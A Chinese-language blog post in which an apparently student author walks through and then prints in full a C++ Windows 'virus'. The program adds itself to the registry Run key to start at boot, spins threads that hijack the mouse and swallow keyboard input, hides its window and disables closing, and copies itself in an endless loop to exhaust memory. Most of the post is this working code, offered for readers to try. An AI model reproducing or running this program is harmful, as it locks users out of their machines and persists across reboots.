目录
闲扯一会儿
嘿嘿嘿!我又来了!
我们班计算机课在周五,由于节假日我们学校放得早,所以上周清明节放假就没上计算机课。计算机老师为了“弥补”这个“遗憾”,有一个特殊机制:
一道编程题,班上只要有一个同学做出来,全班就可以“解放”。老师刚说完,一个同学(他是男的)就抱起了我(我也是男的)(因为我很轻),全班都把希望的“矛头”指向我。
于是我就开干了。题很简单,用什么语言都行,我当然用C++(不过我还是会一点点Python的)。
不到十分钟,我就做出来了。全班欢呼着,那个男同学又把我抱起来。
老师还给了我10积分,真好!接下来就可以自由活动了。
我上周不是写了一篇文章吗?
我想着那病毒,于是向老师申请开网,老师同意了。
于是我把病毒代码复制过来,由于我在学校用的是Dev-C++,在稍作修改(不影响整体效果)后,开始运行。
可出现了以下问题:
1、任务栏图标并没有隐藏(在C++小病毒(VS版)中已经改了小标题)。
2、提示栏每次都要弹出,如果忽略你在鼠标乱移时刚好点到“确定”的情况,就会导致复制的程序无法再次复制自己。
所以就有了这篇文章。
进入正题
在这里,提一嘴,如果你用的Dev-C++,请参见如何更改C语言标准并更改至C++11。
宏、头文件、命名空间
#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include<iostream> //输入输出
#include<string> //字符串处理
#include<Windows.h> //Windows系统
#include<conio.h> //按键信息
#include<thread> //线程
#include<tchar.h> //_T()等
#include<fstream> //读取与保存
using namespace std; //为了方便
检查是否第一次打开
其实就是打开一个文档,读取内容,再进行一个判断。
int check = 0;
ifstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{
//是第一次打开
}
//不是第一次打开
提示语、开机启动、保存
这部分在判断语句中写。
提示语
cout << "该程序是病毒!后果自负!" << endl;
cout << "按任意键以代表您已知晓并启动病毒……" << endl;
_getch();
开机启动
保存
为了让复制的程序知道它不是第一次被打开。
ofstream out("save.txt");
out << 1;
out.close();
开线程
写两个线程函数。
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
srand(time(0));
while (1)
{
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
while (1)
{
FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
}
return 0L;
}
在判断外写上两句。
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);
隐藏任务栏图标、禁用关闭键
这个还算简单。
//隐藏任务栏图标
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
//禁用关闭键
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
隐藏控制台
在主函数中写。
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_HIDE);
}
抢内存
在主函数中写。
while (1)
{
char s[100] = "start ";
system(strcat(s, argv[0]));
}
代码封装
完整代码见下。
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<conio.h>
#include<thread>
#include<tchar.h>
#include<fstream>
using namespace std;
int check = 0;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
srand(time(0));
while (1)
{
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
DWORD WINAPI key(LPVOID lpParameter)
{
while (1)
{
FlushConsoleInputBuffer(GetStdHandle(STD_INPUT_HANDLE));
}
return 0L;
}
int main(int argc, char** argv)
{
ifstream in("save.txt");
in >> check;
in.close();
if (check != 1)
{
cout << "该程序是病毒!后果自负!" << endl;
cout << "按任意键以代表您已知晓并启动病毒……" << endl;
_getch();
HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
ofstream out("save.txt");
out << 1;
out.close();
}
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, key, NULL, 0, NULL);
CloseHandle(hThread);
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
HMENU hmenu = GetSystemMenu(hWnd, false);
RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
LONG style = GetWindowLong(hWnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX);
SetWindowLong(hWnd, GWL_STYLE, style);
SetWindowPos(hWnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
ShowWindow(hWnd, SW_SHOWNORMAL);
DestroyMenu(hmenu);
ReleaseDC(hWnd, NULL);
hWnd = FindWindow(_T("ConsoleWindowClass"), NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_HIDE);
}
while (1)
{
char s[100] = "start ";
system(strcat(s, argv[0]));
}
return 0;
}
再扯一会儿
这次其实就把提示框改成了一句话,加了个check变量,加了几句隐藏任务栏图标的代码,加了个线程,代码也不算长。
哦,对了,再提一嘴,有虚拟机的帮忙看看。
好像该扯的都扯完了。
算了,早点睡了,拜拜!